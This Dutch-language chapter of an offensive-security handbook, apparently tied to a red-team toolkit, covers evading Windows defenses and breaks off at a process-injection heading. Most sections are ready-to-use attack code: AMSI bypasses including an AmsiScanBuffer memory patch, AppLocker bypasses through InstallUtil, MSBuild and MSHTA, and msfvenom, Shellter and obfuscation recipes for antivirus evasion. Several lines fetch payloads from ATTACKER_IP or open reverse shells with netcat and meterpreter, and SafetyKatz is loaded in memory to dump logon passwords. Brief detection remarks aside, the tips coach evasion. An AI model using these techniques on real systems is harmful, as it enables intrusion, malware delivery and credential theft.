Evasion – Detectie Ontwijken

Waarin we ontdekken dat de hele beveiligingsindustrie een wapenwedloop is die niemand echt wint, en dat het Trojaanse paard nog steeds het best werkende concept uit de IT-geschiedenis is.


De Oudste Truc ter Wereld

Er is een verhaal – en ik weet niet of het waar is, maar het is te mooi om niet te vertellen – over een Engelse smokkelaar uit de achttiende eeuw die elke dag met een kruiwagen vol stro de grens over reed. De douanier prikte en porde in dat stro, dag na dag, week na week, en vond nooit iets. Jaren later, toen beiden met pensioen waren, liepen ze elkaar tegen het lijf in een kroeg. “Ik weet dat je iets smokkelde,” zei de douanier. “Vertel me wat het was.” De smokkelaar glimlachte. “Kruiwagens.”

Dat is, in essentie, het hele verhaal van evasion in informatiebeveiliging.

De Grieken bouwden een houten paard en de Trojanen sleepten het zelf naar binnen. Drieduizend jaar later downloadt een medewerker van de boekhouding een Excel-bestand genaamd factuur_Q3_DEFINITIEF_v2.xlsm en klikt op “Macro’s inschakelen.” De technologie is veranderd. De menselijke natuur niet.

Wat we in dit hoofdstuk gaan doen, is systematisch door de verdedigingslagen van een modern Windows-systeem heen wandelen. Niet omdat we graag dingen kapotmaken – hoewel dat een onmiskenbaar prettige bijkomstigheid is – maar omdat je pas begrijpt hoe sterk een slot is als je het hebt geprobeerd open te breken. Elke techniek die hier beschreven staat, heeft een tegenpool: een detectiemethode, een hardening-maatregel, een manier om het te voorkomen. We behandelen die ook. Maar eerst moeten we begrijpen wat we proberen te ontwijken.

De moderne Windows-verdediging bestaat ruwweg uit drie lagen:

  1. AMSI – de Antimalware Scan Interface, die PowerShell-scripts en .NET-assemblies scant voordat ze uitgevoerd worden.
  2. AppLocker / WDAC – applicatie-whitelisting die bepaalt welke executables mogen draaien.
  3. Antivirus / EDR – de software die op handtekeningen en gedrag let, van Windows Defender tot commerciele EDR-oplossingen.

En dan is er nog een vierde laag die geen verdediging is maar eerder een slagveld: het geheugen van een draaiend proces, waar process injection plaatsvindt. Maar daarover later meer.

Laten we beginnen waar Microsoft dacht dat het slim was.


AMSI: De Bewaker Die Iedereen Kan Zien

Wat is AMSI?

De Antimalware Scan Interface is Microsofts antwoord op een probleem dat ze zelf gecreeerd hadden: PowerShell was zo krachtig geworden dat aanvallers het als hun favoriete gereedschap waren gaan gebruiken. AMSI, geintroduceerd in Windows 10, is een brug tussen applicaties (PowerShell, VBScript, JavaScript, Office VBA) en de geinstalleerde antimalware-software. Elke keer dat PowerShell een scriptblok uitvoert, stuurt het de tekst eerst naar AMSI, die het doorgeeft aan Defender (of welke AV dan ook geregistreerd is). AMSI zegt “ja” of “nee,” en PowerShell luistert.

Het is alsof je een bewaker bij de deur zet die elk pakketje openmaakt en controleert. Klinkt degelijk. Behalve dat de bewaker in hetzelfde gebouw staat als de mensen die hij controleert, en dat iedereen zijn werkschema kent. AMSI draait in het proces van de applicatie zelf – amsi.dll wordt in-process geladen. Dat betekent dat als je de controle over dat proces hebt, je de bewaker simpelweg kunt blinddoeken.

Of, om het cynisch samen te vatten: ze hebben een slot op de deur gezet en de sleutel aan de inbreker gegeven.

Hier zijn vijf manieren om die sleutel te gebruiken.


AMSI Bypass 1: Constrained Language Mode (CLM) Ontsnapping

Constrained Language Mode is PowerShells poging om gevaarlijke operaties te beperken. In CLM mag je geen Add-Type aanroepen, geen New-Object voor willekeurige .NET-klassen gebruiken, en geen directe .NET-method calls doen. Het idee is: als je PowerShell beperkt tot “veilige” cmdlets, kan een aanvaller er niets mee.

Het probleem is dat CLM een beleidsbeslissing is, geen fysieke muur. Er zijn meerdere wegen eromheen.

Methode 1: Custom Runspace

De elegantste bypass maakt een nieuwe PowerShell-runspace aan – een soort mini-PowerShell-sessie – die niet onderhevig is aan CLM:

# Custom runspace omzeilt CLM restricties
$rs = [runspacefactory]::CreateRunspace()
$rs.ApartmentState = 'STA'
$rs.ThreadOptions = 'ReuseThread'
$rs.Open()
$p = $rs.CreatePipeline()
$p.Commands.AddScript('$ExecutionContext.SessionState.LanguageMode')
$p.Invoke()

Als het antwoord FullLanguage is in plaats van ConstrainedLanguage, ben je vrij.

Methode 2: PowerShell v2

Dit is de hamerstijl-bypass: start simpelweg PowerShell versie 2, die geen AMSI heeft en geen CLM afdwingt:

# PowerShell v2: geen AMSI, geen CLM
powershell -version 2 -c "$ExecutionContext.SessionState.LanguageMode"

Het werkt alleen als .NET Framework 2.0 nog geinstalleerd is. Op verrassend veel systemen is dat zo, omdat niemand ooit de moeite heeft genomen het te verwijderen. Beveiligingsbeleid door middel van luiheid is, helaas, geen effectief beveiligingsbeleid.

Methode 3: PSBypassCLM via InstallUtil

# PSBypassCLM tool via InstallUtil (whitelisted binary)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe `
  /logfile= /LogToConsole=false /U C:\Windows\tasks\PSBypassCLM.exe

Dit gebruikt een techniek die we verderop in het AppLocker-gedeelte uitgebreider behandelen: InstallUtil.exe is een door Microsoft ondertekend programma dat AppLocker en CLM vertrouwen.

Methode 4: MSBuild Inline Task

# MSBuild voert C# uit buiten CLM
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe `
  C:\Windows\tasks\clm_bypass.xml

Het XML-bestand bevat inline C#-code die in FullLanguage mode draait, ongeacht wat de huidige PowerShell-sessie denkt.

Verificatie:

# Check je huidige language mode
$ExecutionContext.SessionState.LanguageMode

IB Tip: CLM blokkeert Add-Type, New-Object, en .NET method calls. Maar je kunt wel cmdlets aanroepen – alleen .NET interop is beperkt. Gebruik die beperking als detectiekans: als je in je logs ziet dat iemand een custom runspace aanmaakt, is er iets aan de hand.


AMSI Bypass 2: De amsiInitFailed Context Bypass

Dit is de bypass die je met een rechte rug aan een examinator kunt uitleggen, omdat hij zo logisch is dat het bijna grappig wordt. AMSI houdt intern een vlag bij genaamd amsiInitFailed. Als die op true staat, denkt AMSI dat zijn eigen initialisatie mislukt is, en slaat het alle scans over. Elke scan. Altijd. Het is alsof je de brandmelder vertelt dat hij kapot is, waarna hij braaf stopt met luisteren naar rook.

# Zet de amsiInitFailed flag naar true via reflection
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {
    if ($b.Name -like "*iUtils") { $c = $b }
}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {
    if ($e.Name -like "*Failed") { $f = $e }
}
$f.SetValue($null, $true)

Hoe het werkt: De code doorloopt de interne types van de System.Management.Automation-assembly, vindt de klasse die op iUtils eindigt (dat is AmsiUtils, maar we schrijven het niet voluit omdat dat zelf gedetecteerd wordt), vindt het statische veld dat op Failed eindigt, en zet het op true.

Test het met:

IEX 'amsiutils'

Als AMSI actief is, triggert het woord “amsiutils” een detectie. Na de bypass: stilte.

IB Tip: Dit is de simpelste bypass, maar wordt vaak gedetecteerd op de string zelf. Obfuscatie helpt:

# Obfuscatie voorbeeld: splits de class-naam
$w = 'System.Management.Automation.A]'
$c = 'si]Ut]able'.Replace(']','')
$z = [Ref].Assembly.GetType(($w + 'm' + $c))
# ... enzovoort

Let op: werkt niet in PowerShell 7+ vanwege gewijzigde internals.


AMSI Bypass 3: Memory Patching van AmsiScanBuffer

Als de vorige bypass het diplomatieke pad was, is dit de mokerslag. We overschrijven de functie AmsiScanBuffer in het geheugen met bytes die altijd AMSI_RESULT_CLEAN retourneren. AMSI wordt aangeroepen, probeert te scannen, en zijn eigen scanfunctie zegt: “Niets aan de hand.”

Dit is het equivalent van een inbreker die de camera’s niet uitschakelt, maar ze laat afspelen van een eerdere opname. De bewaker ziet beelden, denkt dat alles in orde is, en ondertussen wordt het magazijn leeggehaald.

# AmsiScanBuffer memory patch
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr h, string n);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string n);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(
        IntPtr a, UIntPtr s, uint np, out uint op);
}
"@
Add-Type $Win32

$l = [Win32]::LoadLibrary("amsi.dll")
$a = [Win32]::GetProcAddress($l, "AmsiScanBuffer")
$p = 0
[Win32]::VirtualProtect($a, [uint32]5, 0x40, [ref]$p)

# Patch: mov eax, 0x80070057 (E_INVALIDARG) + ret
$patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $a, 6)

Wat gebeurt er stap voor stap:

  1. We laden kernel32.dll-functies via P/Invoke.
  2. We vinden het adres van AmsiScanBuffer in amsi.dll.
  3. We veranderen de geheugenpermissies van die locatie naar PAGE_EXECUTE_READWRITE (0x40) met VirtualProtect.
  4. We schrijven zes bytes: mov eax, 0x80070057 gevolgd door ret. Dit zorgt ervoor dat de functie onmiddellijk retourneert met E_INVALIDARG, wat AMSI interpreteert als “scan niet mogelijk, ga door.”

De patch-bytes 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 zijn het equivalent van een uit zes letters bestaand briefje op de deur: “Ben er niet.”

IB Tip: Dit is de meest betrouwbare bypass en werkt op alle Windows-versies. Maar Defender detecteert de code die de patch uitvoert. Obfusceer, of gebruik een van de andere methoden als voorloper. Het is een soort kip-en-eiprobleem: je moet AMSI bypassen om je AMSI-bypass uit te voeren.


AMSI Bypass 4: Reflection – De AmsiContext Null Pointer

Deze variant is subtieler dan de memory patch. In plaats van de scanfunctie te overschrijven, zetten we de AmsiContext-pointer op nul. Wanneer AmsiScanBuffer wordt aangeroepen, probeert het de context te lezen, vindt een null pointer, en faalt gracefully – zonder alarm te slaan.

# AMSI Bypass via .NET Reflection - AmsiContext naar null
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {
    if ($b.Name -like "*iUtils") { $c = $b }
}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {
    if ($e.Name -like "*Context") { $f = $e }
}
$g = $f.GetValue($null)
[IntPtr]$ptr = $g
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)

Hoe het verschilt van de amsiInitFailed-methode: In plaats van AMSI te vertellen dat het niet geinitialiseerd is, laten we het normaal starten en vervolgens zijn eigen geheugen corrumperen. Het is het verschil tussen zeggen “ik ben ziek, ik kom niet” en daadwerkelijk de alarmsirene volgieten met beton.

IB Tip: Obfusceer variabelenamen als de signature gedetecteerd wordt. Combineer eventueel met het uitschakelen van real-time monitoring (vereist adminrechten):

Set-MpPreference -DisableRealtimeMonitoring $true

Maar dat genereert zelf een event. Niets is gratis.


AMSI Bypass 5: InvisiShell – De Nucleaire Optie

InvisiShell is geen bypass van AMSI. Het is een bypass van alles. Het omzeilt Script Block Logging, Module Logging, Transcription, en AMSI in een klap, door een custom CLR Profiler DLL te laden die hooks plaatst in de System.Management.Automation-assembly.

Als de vorige bypasses een lockpick waren, is InvisiShell een bulldozer door de achtermuur.

# Met admin privileges (registry keys in HKLM):
RunWithPathAsAdmin.bat

# Zonder admin privileges (registry keys in HKCU):
RunWithRegistryNonAdmin.bat

# Na gebruik: exit om hooks en registry keys op te ruimen
exit

In de InvisiShell-sessie die daarna opent:

Het is alsof je een onzichtbaarheidsmantel om je PowerShell-sessie hebt geslagen. Vandaar de naam.

IB Tip: InvisiShell moet VOOR andere tools geladen worden. Het werkt door CLR Profiler hooking op System.Management.Automation, wat betekent dat het alleen werkt in nieuwe PowerShell-processen – niet in bestaande sessies. Start het dus als allereerste stap na initial access.


AMSI: Het Grotere Plaatje

Vijf bypasses. Vijf manieren om een beveiligingsmechanisme te omzeilen dat Microsoft in 2015 met groot enthousiasme presenteerde. En dit zijn alleen de publiek bekende methoden. De les hier is niet dat AMSI waardeloos is – het vangt genoeg commodity malware af om zijn bestaan te rechtvaardigen. De les is dat AMSI een laag is, geen muur. Het houdt script kiddies tegen. Het houdt professionals niet tegen.

En dat brengt ons bij de volgende laag.


AppLocker: De Poortwachter met Alzheimer

Wat is AppLocker?

AppLocker is Microsofts applicatie-whitelisting-technologie. Het idee is eenvoudig en, in theorie, krachtig: beheerders definieerden regels die bepalen welke executables, scripts, DLL’s en installers mogen draaien. Alles wat niet op de lijst staat, wordt geblokkeerd.

In de praktijk betekent dit dat beheerders een lijst maken van toegestane programma’s, en dat aanvallers vervolgens programma’s gebruiken die al op die lijst staan. Want hier is het briljante inzicht achter Living Off The Land Binaries (LOLBins): Microsoft levert standaard tientallen ondertekende executables mee die dingen kunnen doen waar ze nooit voor bedoeld waren.

Het is alsof je een lijst maakt van mensen die het gebouw in mogen, en vergeet dat de schoonmaker ook een sleutel heeft tot de serverruimte.


AppLocker Bypass 1: InstallUtil.exe

InstallUtil.exe is een .NET-hulpprogramma voor het installeren en deinstalleren van Windows-services. Het staat standaard in de AppLocker-whitelist omdat het een door Microsoft ondertekende binary is in de .NET Framework-directory. Het probleem: de /U-vlag (uninstall) voert willekeurige code uit in de Uninstall()-methode van een .NET- assembly.

Stap 1: Compileer een C#-payload met een Uninstall-methode

// bypass.cs - AppLocker bypass via InstallUtil
using System;
using System.Configuration.Install;
using System.ComponentModel;

[RunInstaller(true)]
public class Bypass : Installer
{
    public override void Uninstall(System.Collections.IDictionary state)
    {
        // Hier je payload -- reverse shell, download cradle, etc.
        Console.WriteLine("AppLocker? Welke AppLocker?");
    }
}

Compileer met de standaard .NET-compiler (die ook whitelisted is):

# Compileer de payload
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe `
  /target:exe `
  /out:C:\Windows\tasks\bypass.exe `
  C:\Windows\tasks\bypass.cs

Stap 2: Uitvoeren via InstallUtil

# 64-bit
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe `
  /logfile= /LogToConsole=false /U C:\Windows\tasks\bypass.exe

# 32-bit variant
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe `
  /logfile= /LogToConsole=false /U C:\Windows\tasks\bypass.exe

De /logfile= en /LogToConsole=false vlaggen onderdrukken output. Stilte is goud.

IB Tip: De payload moet System.Configuration.Install.Installer overerven en het attribuut [RunInstaller(true)] hebben. Zonder die twee zal InstallUtil de Uninstall()-methode niet aanroepen. Het is een van die gevallen waar de documentatie je vertelt hoe je de bypass moet schrijven.


AppLocker Bypass 2: MSBuild.exe

MSBuild is Microsofts build-tool voor .NET-projecten. Het leest XML-projectbestanden en voert de daarin gedefinieerde taken uit. Tot die taken behoren inline C#-taken, wat betekent dat MSBuild willekeurige C#-code kan compileren en uitvoeren.

Het is alsof je de schilder die je hebt ingehuurd om de muren te verven, ook de sleutels van de kluis geeft. Want ja, hij moet erbij kunnen om de lijst te verven. Toch?

# 64-bit MSBuild
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe `
  C:\Windows\tasks\build.xml

# 32-bit variant
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe `
  C:\Windows\tasks\build.xml

# Remote XML laden via UNC pad (indien SMB open staat)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe `
  \\10.0.0.1\share\build.xml

Het XML-bestand ziet er ongeveer zo uit:

<!-- build.xml - MSBuild inline task voorbeeld -->
<Project ToolsVersion="4.0"
         xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Exec">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Code Type="Class" Language="cs">
        <![CDATA[
          using System;
          using Microsoft.Build.Framework;
          using Microsoft.Build.Utilities;
          public class ClassExample : Task, ITask {
            public override bool Execute() {
              // Payload hier
              return true;
            }
          }
        ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

IB Tip: De inline task moet een <UsingTask> element bevatten met TaskFactory="CodeTaskFactory" en een verwijzing naar Microsoft.Build.Tasks.v4.0.dll voor .NET-referenties. Vergeet je dat, dan krijg je een cryptische MSBuild-foutmelding die je een half uur van je leven kost.


AppLocker Bypass 3: MSHTA.exe

MSHTA is de Microsoft HTML Application Host. Het voert .hta-bestanden uit, wat in feite HTML-pagina’s zijn met VBScript of JavaScript die buiten de browsersandbox draaien. MSHTA staat in de AppLocker-whitelist omdat het een ondertekende Windows-binary is.

Het is – en ik vind het moeilijk om dit zonder een zucht te schrijven – een van de meest misbruikte LOLBins in de geschiedenis van Windows.

Methode 1: Inline VBScript met download cradle

mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell -ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payloads/amsi-shell.ps1')"":close")

Methode 2: HTA-bestand via URL

mshta http://ATTACKER_IP/payloads/shell.hta

Methode 3: Inline JavaScript

mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").Run("powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/payloads/amsi-shell.ps1')");

Methode 4: Via COM object met certutil download

mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""cmd /c certutil -urlcache -f http://ATTACKER_IP/tools/nc.exe C:\Windows\tasks\nc.exe && C:\Windows\tasks\nc.exe ATTACKER_IP 443 -e cmd.exe"":close")

Vier methoden. Vier manieren om via een door Microsoft ondertekende binary willekeurige code uit te voeren. En dit is nog maar een van de tientallen LOLBins.

IB Tip: MSHTA is een LOLBin – een Living Off The Land Binary. Dat wil zeggen: het staat al op het systeem, het is ondertekend door Microsoft, en AppLocker vertrouwt het. Detectie moet op gedrag gericht zijn: als mshta.exe een powershell.exe-kindproces start, is er iets goed mis.


AV Bypass: De Komedie van de Handtekeningen

Het Probleem met Antivirus

Laten we even eerlijk zijn over de antivirus-industrie. Het is een bedrijfstak van miljarden dollars die gebaseerd is op het volgende businessmodel: wij verkopen je een product dat malware herkent die we al kennen. Voor malware die we niet kennen, heb je pech. Maar maak je geen zorgen, want morgen kennen we die ook, en dan verkopen we je een update.

Het is alsof de politie zegt: “We kunnen elke dief pakken die we al eerder gepakt hebben. Nieuwe dieven? Daar werken we aan.”

Signature-based detection – het hart van traditionele AV – werkt door bestanden te vergelijken met een database van bekende patronen. Verander een byte, en het patroon klopt niet meer. De hele verdediging is gebaseerd op de aanname dat aanvallers te lui zijn om hun tools aan te passen. En eerlijk gezegd was die aanname jarenlang correct. Maar we leven niet meer in jarenlang.

Moderne AV-producten hebben heuristics en machine learning toegevoegd, en EDR-oplossingen kijken naar gedrag in plaats van handtekeningen. Maar de kern is nog steeds reactief: iemand moet de aanval eerst zien voordat er een detectie voor geschreven kan worden.

In deze sectie bekijken we vier technieken die in Incompetent Bastard zitten om met die realiteit om te gaan.


AV Bypass 1: DefenderCheck & AMSITrigger – Vind Wat Opvalt

Voordat je iets kunt verbergen, moet je weten wat zichtbaar is. Dat is waar DefenderCheck en AMSITrigger om de hoek komen kijken. Het zijn geen evasion-tools – het zijn diagnostische tools. Ze vertellen je welke delen van je payload de detectie triggeren.

DefenderCheck – Scan een binary:

# Vindt exact welke bytes in je binary gedetecteerd worden
DefenderCheck.exe C:\path\to\binary.exe

AMSITrigger – Scan een PowerShell-script:

# Vindt welke strings in je script AMSI triggeren
AmsiTrigger_x64.exe -i C:\path\to\script.ps1

# Verbose output voor meer detail:
AmsiTrigger_x64.exe -i C:\path\to\script.ps1 -f 3

Het iteratieve proces:

  1. Scan met DefenderCheck of AMSITrigger.
  2. Pas gedetecteerde strings aan – hernoem functies, variabelen, split strings.
  3. Obfusceer de binary met ConfuserEx.
  4. Scan opnieuw.
  5. Herhaal tot je AMSI_RESULT_NOT_DETECTED krijgt.
# Voorbeeld: string-splitting om detectie te omzeilen
# Voor:  "Invoke-Mimikatz"
# Na:    "Inv" + "oke-Mim" + "ikatz"

# Voorbeeld: Base64-encoding voor obfuscatie
$encoded = [System.Convert]::FromBase64String($payload)

Het is de digitale versie van een verdachte die steeds van vermomming wisselt tot de politiefoto niet meer klopt. Behalve dat de verdachte de politiefoto heeft en in de spiegel kan kijken.

IB Tip: Dit is een iteratief proces. Scan, pas aan, scan opnieuw. De kunst is om minimaal te wijzigen – verander alleen wat gedetecteerd wordt, niet de hele payload. Hoe meer je verandert, hoe groter de kans dat je iets kapotmaakt.


AV Bypass 2: HTA Execution

HTA-bestanden – HTML Applications – zijn een van die wonderlijke Microsoft-concepten die bedoeld waren om beheerders het leven makkelijker te maken en die in de praktijk vooral aanvallers blij maken. Een HTA draait als volwaardige applicatie, niet in een browsersandbox. Het heeft toegang tot COM-objecten, het bestandssysteem, en kan processen starten.

Generatie met msfvenom:

# HTA payload genereren met msfvenom
msfvenom -p windows/shell_reverse_tcp \
  LHOST=ATTACKER_IP LPORT=443 \
  -f hta-psh -o evil.hta

Handmatige HTA met PowerShell download cradle:

<html>
<head>
<script language="VBScript">
  Sub RunPS()
    Set objShell = CreateObject("Wscript.Shell")
    objShell.Run "powershell -ep bypass -w hidden -c " & _
      "IEX(New-Object Net.WebClient).DownloadString(" & _
      "'http://ATTACKER_IP/shell.ps1')", 0
  End Sub
  RunPS
  self.close
</script>
</head>
<body></body>
</html>

Delivery-methoden:

# 1. Direct via URL (social engineering):
mshta http://ATTACKER_IP/evil.hta

# 2. Via Office macro:
# Sub AutoOpen()
#   Shell "mshta http://ATTACKER_IP/evil.hta"
# End Sub

# 3. Via command line:
mshta http://ATTACKER_IP/evil.hta

# 4. Inline (geen bestand nodig):
mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run " & _
  """powershell -ep bypass -c IEX(New-Object Net.WebClient)" & _
  ".DownloadString('http://ATTACKER_IP/shell.ps1')"", 0:close")

Listener starten:

# Eenvoudig met netcat:
nc -nlvp 443

# Of via Metasploit:
msfconsole -q -x "use exploit/multi/handler; \
  set payload windows/shell_reverse_tcp; \
  set LHOST 0.0.0.0; set LPORT 443; exploit"

IB Tip: mshta.exe is een signed Windows binary – een LOLBin. self.close in het HTA-script sluit het venster direct na uitvoering, en -w hidden verbergt het PowerShell-venster. De gebruiker ziet even een flits. Misschien.


AV Bypass 3: NetLoader – In-Memory Assembly Loading

NetLoader is het Zwitserse zakmes van de evasion-toolkit. Het laadt .NET-assemblies direct in het geheugen, patcht automatisch AMSI en ETW (Event Tracing for Windows) voordat het de payload uitvoert, en laat niets achter op de schijf.

Niets. Op. De. Schijf.

Enkele stage: NetLoader laadt payload direct:

# Laad SafetyKatz (Mimikatz-variant) in memory
C:\Users\Public\Loader.exe `
  -path http://10.0.0.1/tools/SafetyKatz.exe

# Met argumenten:
C:\Users\Public\Loader.exe `
  -path http://10.0.0.1/tools/SafetyKatz.exe `
  sekurlsa::logonpasswords exit

Dubbele stage: AssemblyLoad laadt NetLoader laadt payload:

# AssemblyLoad -> NetLoader -> payload (drie lagen diep)
C:\Users\Public\AssemblyLoad.exe `
  http://10.0.0.1/tools/Loader.exe `
  -path http://10.0.0.1/tools/SafetyKatz.exe

Voorbeelden met andere payloads:

# Kerberoasting met Rubeus
C:\Users\Public\Loader.exe `
  -path http://10.0.0.1/tools/Rubeus.exe kerberoast /stats

# BloodHound data verzamelen
C:\Users\Public\Loader.exe `
  -path http://10.0.0.1/tools/SharpHound.exe `
  --CollectionMethods All

# ADCS kwetsbaarheden zoeken
C:\Users\Public\Loader.exe `
  -path http://10.0.0.1/tools/Certify.exe find /vulnerable

Het concept van dubbele staging is interessant. AssemblyLoad laadt NetLoader in het geheugen. NetLoader patcht AMSI en ETW. Daarna laadt NetLoader de eigenlijke payload – SafetyKatz, Rubeus, SharpHound – ook in het geheugen. Er zijn drie lagen, en geen van drieen raakt de schijf. Het is een Russische matroesjka-pop van evasion.

IB Tip: Loader.exe zelf moet ook AV-proof zijn. Als Defender de loader detecteert, heb je niets aan in-memory loading. Obfusceer de loader indien nodig, of gebruik de AssemblyLoad-variant als extra laag. Het is schildpadden helemaal naar beneden.


AV Bypass 4: Shellter – PE Injection

Shellter neemt een bestaande, legitieme Windows-executable en injecteert daar shellcode in. Het resultaat is een bestand dat eruitziet als PuTTY of WinSCP, maar dat bij uitvoering ook een reverse shell opzet. Het is de digitale versie van een smokkelaar die cocaïne in de binnenkant van een beeldje verstopt.

Installatie op Kali:

sudo apt install shellter
# Vereist wine (32-bit) op Linux:
sudo dpkg --add-architecture i386
sudo apt update
sudo apt install wine32

Automatische modus:

shellter
# Kies: A (Auto)
# PE Target: /usr/share/windows-binaries/plink.exe
# Payload: L (Listed)
# Kies: 1 (meterpreter_reverse_tcp)
# LHOST: ATTACKER_IP
# LPORT: 443

Handmatige modus (betere evasion):

shellter
# Kies: M (Manual)
# PE Target: pad/naar/legit.exe
# Tracing engine vindt beschikbare code caves
# Custom payload: /pad/naar/raw_shellcode.bin

Shellcode genereren voor Shellter:

# Raw shellcode voor custom payload:
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=ATTACKER_IP LPORT=443 -f raw -o shellcode.bin

# Staged vs stageless:
msfvenom -p windows/meterpreter/reverse_tcp \
  LHOST=ATTACKER_IP LPORT=443 -f raw -o staged.bin
msfvenom -p windows/meterpreter_reverse_tcp \
  LHOST=ATTACKER_IP LPORT=443 -f raw -o stageless.bin

Goede PE-targets voor injection:

IB Tip: Gebruik 32-bit PE-targets – Shellter is een 32-bit tool. Auto modus is sneller, maar Manual geeft betere evasion vanwege de code cave selectie. Gebruik altijd een verse kopie van de legitieme executable voor elke encoding. En test met DefenderCheck of ThreatCheck voordat je het naar het doelwit stuurt. Vertrouw nooit op “het werkte de vorige keer.”


AV Bypass 5: Multi-Taal Payload Obfuscatie (obfuscate_av.py)

Tot nu toe ging het over PowerShell-obfuscatie met obfuscate_ps.py. Maar payloads komen in meer smaken dan alleen .ps1. PHP webshells, ASPX shells, Python reverse shells, HTA-bestanden, VBA macro’s en platte tekst shell-scripts – ze worden allemaal door AV-engines gescand op bekende signatures. En die signatures zijn precies zo voorspelbaar als je zou verwachten.

obfuscate_av.py past hetzelfde principe toe als zijn PowerShell-broer: alleen de regels die een bekende AV-signature bevatten worden geobfusceerd. De rest blijft ongewijzigd en leesbaar. Maar de technieken zijn per taal anders, omdat elke taal zijn eigen trucjes heeft.

Ondersteunde talen en technieken:

Taal Extensie Techniek Voorbeeld
PHP .php Variable function + string concat $f='sh'.'ell_ex'.'ec'; $f($cmd)
ASPX .aspx String concatenatie + string.Concat() "cmd"+".exe", string.Concat("Process"+"StartInfo")
Python .py Base64 exec wrapper exec(__import__('base64').b64decode('...'))
HTA .hta VBScript Chr() encoding Chr(67)&Chr(114)&Chr(101)&...
VBA macro’s Chr() encoding voor API namen Chr(75)&Chr(69)&Chr(82)&... (KERNEL32)
TXT .txt Shell variabele substitutie _abc="/bin/sh" + $_abc

Bekende signatures per taal:

De signature-database is ingebouwd en bevat per taal de strings die door AV-engines als malware-indicator worden herkend:

CLI-gebruik:

# Automatische taaldetectie op basis van extensie
python3 obfuscate_av.py http/payloads/shell.php

# Output: http/payloads/shell-obf.php
# [*] Obfuscating: http/payloads/shell.php (taal: php)
# [+] Klaar: 3 string, 0 code vervangingen

# Forceer taaldetectie
python3 obfuscate_av.py payload.txt -l python

# Met eigen output pad
python3 obfuscate_av.py shell.aspx -o shell-clean.aspx

VBA obfuscatie voor macro’s:

VBA-obfuscatie werkt anders dan de rest: het wordt niet toegepast op een bestandsextensie, maar op de VBA-code in een macro. De macro generators (macro.py, macro2.py) hebben een --obfuscate-vba flag:

# Genereer macro met VBA obfuscatie
python3 macro.py 10.0.0.1 443 --obfuscate-vba

Dit vervangt API-namen als KERNEL32, VirtualAlloc en CreateThread in de gegenereerde VBA-code met Chr() concatenatie. Het resultaat: de macro werkt identiek, maar AV-engines herkennen de API-calls niet meer.

Encoder opties voor binary payloads:

Voor binaire payloads (.exe, .elf, .msi) werkt tekst-obfuscatie niet – je kunt niet zomaar bytes gaan verplaatsen in een gecompileerd programma. In plaats daarvan bieden de generators msfvenom encoder opties:

# Linux ELF met shikata_ga_nai encoding (3 iteraties)
python3 linux_elf.py 10.0.0.1 443 --encoder x86/shikata_ga_nai --iterations 3

# MSI payload met XOR encoding
python3 msi_payload.py 10.0.0.1 443 --encoder x64/xor_dynamic --iterations 5

# Meterpreter met encoder + bestaande XOR-laag
python3 meterpreter.py 10.0.0.1 443 --encoder x64/xor --iterations 2

Beschikbare encoders: x86/shikata_ga_nai, x64/xor_dynamic, x64/xor, x86/xor, x86/alpha_mixed, x64/zutto_dekiru.

Dashboard-integratie:

De obfuscatie is op drie plekken in het dashboard beschikbaar:

  1. Payload generators – Elke text-based generator (PHP shell, ASPX shell, HTA, Python reverse shell) heeft een AV Evasion checkbox. Binary generators (Linux ELF, MSI, Meterpreter) hebben een encoder dropdown en iterations veld. Macro generators hebben een VBA Obfuscatie checkbox.

  2. On-the-fly downloads – Net als bij .ps1 bestanden kunnen .php, .aspx, .py, .hta en .txt bestanden on-the-fly geobfusceerd worden bij download:

    # Geforceerde obfuscatie bij download
    curl http://10.0.0.1:5000/p/shell.php?obf=1
    curl http://10.0.0.1:5000/p/shell.aspx?obf=1
    
    # Zonder obfuscatie (ook als globale instelling aan staat)
    curl http://10.0.0.1:5000/p/shell.php?obf=0
  3. Task runner – De taak Obfuscate bestand (multi-taal) in het Tasks-paneel obfusceert elk ondersteund bestandstype via de CLI.

IB Tip: Combineer text-based obfuscatie met on-the-fly downloads voor maximale variatie. Elke download produceert een unieke variant door willekeurige splitpunten en variabelenamen. Als een specifieke variant geblokkeerd wordt door AV, download het bestand opnieuw voor een andere variant. Voor binaire payloads: gebruik encoding in combinatie met andere evasion-technieken (Shellter, in-memory loading via NetLoader). Encoding alleen is zelden voldoende tegen moderne EDR.


Process Injection: Parasiteren op Legitieme Processen

